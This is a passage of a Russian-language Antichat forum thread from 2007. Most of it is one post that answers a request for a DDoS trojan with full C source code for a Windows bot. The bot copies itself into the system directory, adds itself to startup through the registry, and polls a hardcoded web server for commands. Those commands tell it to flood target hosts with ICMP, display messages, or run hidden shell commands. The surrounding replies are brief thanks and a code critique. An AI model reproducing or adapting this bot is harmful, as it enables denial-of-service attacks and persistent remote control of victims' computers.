ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Защита ОС: вирусы, антивирусы, файрволы.
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 31.03.2007, 21:59
ac1D
Участник форума
Регистрация: 14.03.2007
Сообщений: 110
Провел на форуме:
1358886

Репутация: 29
По умолчанию

А что эти вирусы делают?
Их надо просто заслать и все ппц компу?
 
Ответить с цитированием

  #12  
Старый 31.03.2007, 22:02
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от ac1D  
А что эти вирусы делают?
Их надо просто заслать и все ппц компу?
Сперва надо научиться использовать поиск
 
Ответить с цитированием

  #13  
Старый 31.03.2007, 23:57
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
Провел на форуме:
5265510

Репутация: 455


По умолчанию

Вирусы это вредоносные программы уничтожающие данные на компьютере или блокирующие доступ к ним.
А ваще вот тут много инфы о разновидностях вирусов
Тырк
 
Ответить с цитированием

  #14  
Старый 02.04.2007, 01:26
Underwit
Banned
Регистрация: 06.10.2006
Сообщений: 288
Провел на форуме:
2741921

Репутация: 469
По умолчанию

Чорт, сцуко, случайно один пусканул. Чо мне терь делать. /me плачет
 
Ответить с цитированием

  #15  
Старый 02.04.2007, 01:31
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
Провел на форуме:
3405508

Репутация: 1745


По умолчанию

Цитата:
Я в зомен ничего не требую, но если кому не вломак выложите пожалуйста хорошего DDoS трояна с управлением через ирк чат.
есть один, только не через IRC,а через WWW .php
Coder by Gorlum
PHP код:
/*
Coder by Gorlum
*/

// адрес web-сервера
#define WEBADDRESS "ired.inins.ru"
// имя файла\скрипта
#define WEBFILE "flood.php"
// ращмер пакета
#define PACKETSIZE 1000
// частота отсыла
#define FREQ 100

#include <winsock2.h>

//#pragma comment(linker,"/MERGE:.rdata=.text") 
#pragma comment(linker,"/SECTION:.text,EWRX") 
#pragma comment(linker,"/ENTRY:WinMain")   

#define FILENAMELEN 0xFF

HANDLE thread;

DWORD resolve(char *host)
{
    
DWORD ret 0;
    
struct hostent hp gethostbyname(host);
    if (!
hpret inet_addr(host);
    if ((!
hp)&&(ret == INADDR_NONE)) return 0;
    if (
hp != NULLmemcpy((void*)&rethp->h_addr,hp->h_length);
    return 
ret;
}
#define ICMP_ECHO 8

typedef struct _ihdr {
    
BYTE i_type;
    
BYTE i_code;
    
USHORT i_cksum;
    
USHORT i_id;
    
USHORT i_seq;
    
ULONG timestamp;
}
IcmpHeader;

#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
#define xfree(p) HeapFree (GetProcessHeap(),0,(p))

USHORT checksum(USHORT *bufferint size) {
    
unsigned long cksum=0;
    while(
size >1) {
        
cksum+=*buffer++;
        
size -=sizeof(USHORT);
    }
    if(
size cksum += *(UCHAR*)buffer;
    
cksum = (cksum >> 16) + (cksum 0xffff);
    
cksum += (cksum >>16);
    return (
USHORT)(~cksum);
}

void fill_icmp_data(char icmp_dataint datasize){
    
IcmpHeader *icmp_hdr;
    
char *datapart;

    
icmp_hdr = (IcmpHeader*)icmp_data;
    
icmp_hdr->i_type ICMP_ECHO;
    
icmp_hdr->i_code 0;
    
icmp_hdr->i_id = (USHORT)GetCurrentProcessId();
    
icmp_hdr->i_cksum 0;
    
icmp_hdr->i_seq 0;
    
datapart icmp_data sizeof(IcmpHeader);

    
// memset(datapart,'E', datasize - sizeof(IcmpHeader));
    
for(int i 0datasize sizeof(IcmpHeader); i++) 
    {
        
datapart[i] = GetTickCount()%255;
        
Sleep(23);
    }
}

int ping(charhostint datasizeint timeout){
    
SOCKET sockRaw;
    
SOCKADDR_IN dest;
    
int bread;
    
char *icmp_data;
    
USHORT seq_no 0;

    
memset(&dest,0,sizeof(dest));
    
dest.sin_family AF_INET;
    
dest.sin_addr.S_un.S_addr resolve(host);
    
//MessageBox(0,inet_ntoa(dest.sin_addr),"ok",0);

    
sockRaw WSASocket (AF_INETSOCK_RAWIPPROTO_ICMPNULL,0,0);
    if(
sockRaw == INVALID_SOCKET) return -1;

    
bread setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
    if(
bread == SOCKET_ERROR) return -1;

    
datasize += sizeof(IcmpHeader); 
    
icmp_data = (char*)xmalloc(0xFFFF);
    if(!
icmp_data) return -1;
    
memset(icmp_data,0,0xFFFF);
    
fill_icmp_data(icmp_data,datasize);

    while(
1) {
        
int bwrote;
        ((
IcmpHeader*)icmp_data)->i_cksum 0;
        ((
IcmpHeader*)icmp_data)->timestamp GetTickCount();
        ((
IcmpHeader*)icmp_data)->i_seq seq_no++;
        ((
IcmpHeader*)icmp_data)->i_cksum checksum((USHORT*)icmp_datadatasize);
        
bwrote sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&destsizeof(dest));
        if(
bwrote == SOCKET_ERROR) return -1;    
        
Sleep(FREQ);
    }
    return 
0;
}

inline void addtorun()
{    
    
char str[FILENAMELEN],
        
sysbuf[FILENAMELEN];
    
// получаем полный путь к текущему месторасположению программы
    
GetModuleFileName(GetModuleHandle(NULL),str,FILENAMELEN);

    
GetSystemDirectory(sysbuf,FILENAMELEN);
    
strcat(sysbuf,"\\msping.exe");
    
// копируем себя в системную директорию
    
CopyFile(str,sysbuf,true);

    
// добавляем в автозапуск
    
HKEY hk;
    
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
    
RegSetValueEx(hk,"msping",0,REG_SZ,(LPBYTE)sysbufstrlen(sysbuf) + 1);
    
RegCloseKey(hk);
}

DWORD WINAPI icmpflood (LPVOID pParam)
{
    
ping((char*)pParam,PACKETSIZE,1000);
    return 
0;
}

void flood(char *host)
{
    
DWORD lpThreadId;
    
thread CreateThread(NULLNULLicmpflood, (LPVOID)hostNULL, &lpThreadId);
}

int getcommand()
{
    
char *sendbuffer "GET /"WEBFILE" HTTP/1.0\r\nHost: "WEBADDRESS"\r\n\r\n",
        
recvbuffer[1024];
    
// создаем сокет для подключения к Web-серверу
    
SOCKET s socket(AF_INET,SOCK_STREAM,0);
    
memset(recvbuffer,0,1024);

    
// ресолвим адрес и заносим данные в структуру
    
SOCKADDR_IN webaddr;
    
webaddr.sin_addr.S_un.S_addr resolve(WEBADDRESS);
    
webaddr.sin_family AF_INET;
    
webaddr.sin_port htons(80);

    
// подсоединились
    
if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) 
        return -
1;
    
    
// шлем запрос
    
send(ssendbufferstrlen(sendbuffer),0);
    
    
Sleep(5000);
    
// получаем ответ
    
int i;
    while(
recv(s,recvbuffer+strlen(recvbuffer),1,0)) 
    {if (
== SOCKET_ERROR) return -1;}
    
// MessageBox(0,recvbuffer,"",0);
    // return 0;
    // анализируем ответ
    
    // отбрасываем захоловок, он нам не нужен
    
char *temp,*token;
    for(
int i 0recvbuffer[i]!=0; ++i){
        if((
recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
            (
recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
        {
temp = (char*)&recvbuffer[i] + 4;break;}
    }
    
token strtok(temp" \r\n");
    
// файл делим на слова...

    // если нас просят пофлудить
    
if(strcmp(token,"flood")==0)
    {
        
// то получаем второй параметр
        
token strtok(NULL" \r\n");
        
// и запускаем нить флуда
        // MessageBox(0,"уря","",0);
        
flood(token);
    }

    
// если просят убить себя
    
else if (strcmp(token,"kill")==0)
    {
        
// удаляем запись из реестра 
        
HKEY hk;
        
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
        
RegDeleteKey(hk,"msping");
        
RegCloseKey(hk);
        
        
// и убиваем процесс
        
ExitProcess(0);
    }
    else if (
strcmp(token,"mess")==0)
    {
        
// сообщение
        
temp+=5;
        
temp strtok(temp,"\r\n");
        
MessageBox(0temp"Сообщение!",0);
    }
    else if(
strcmp(token,"cmd")==0)
    {
        
temp+=4;
        
temp strtok(temp,"\r\n");
        
char parametr[128];
        
strcpy(parametr,"/c");
        
strcat(parametr,temp);
        
ShellExecute(0,"open","cmd",parametr,0,SW_HIDE);
    }

    
closesocket(s);
    return 
0;
}

int __stdcall WinMain(HINSTANCEHINSTANCEPTSTRint)
{
    
// раз
    
addtorun();

    
thread NULL;
    
    
WSADATA wsaData;
    
WSAStartup(MAKEWORD(2,2), &wsaData);
    
    
/* 
    мы бесконечно скачиваем наш файлик...
    если скачать\приконнектиться не удалось, 
    значит соединени с инетом не установлено и 
    мы повторяем через 30сек... иначе через 30 мин
    */
    
while(true)
    {
        if (
thread)
            
TerminateThread(thread,0);

        if(
getcommand()) 
        {
            
Sleep(30*1000);
            continue;
        }

        
Sleep(30*60*1000);
    }

    
WSACleanup();
    
ExitProcess(0);
    return 
0;

 
Ответить с цитированием

  #16  
Старый 02.04.2007, 13:56
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
Провел на форуме:
5265510

Репутация: 455


По умолчанию

KPOT_f!nd

Спасибки
 
Ответить с цитированием

  #17  
Старый 02.04.2007, 13:57
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
Провел на форуме:
5265510

Репутация: 455


По умолчанию

Спасибо, коллекция и мне нравится =)
 
Ответить с цитированием

  #18  
Старый 02.04.2007, 14:09
sni4ok
Участник форума
Регистрация: 04.11.2006
Сообщений: 150
Провел на форуме:
1174659

Репутация: 175
Отправить сообщение для sni4ok с помощью ICQ
По умолчанию

Цитата:
Сообщение от KPOT_f!nd  
PHP код:
        if (thread)
            
TerminateThread(thread,0); 
за такое руки надо отрывать, к таму же в данном месте ну совершенно обходится без него.
 
Ответить с цитированием

  #19  
Старый 02.04.2007, 14:45
gold-goblin
Познавший АНТИЧАТ
Регистрация: 26.03.2007
Сообщений: 1,095
Провел на форуме:
5265510

Репутация: 455


По умолчанию

sni4ok

А что в этом месте не так??? (Я в пхп дуб дубом)
 
Ответить с цитированием

  #20  
Старый 02.04.2007, 16:17
Mukis
Участник форума
Регистрация: 27.11.2005
Сообщений: 211
Провел на форуме:
619677

Репутация: 34
По умолчанию

масло масленое
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обмен PayPal > E-Gold/WebMoney Vilen Болталка 5 12.11.2006 11:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ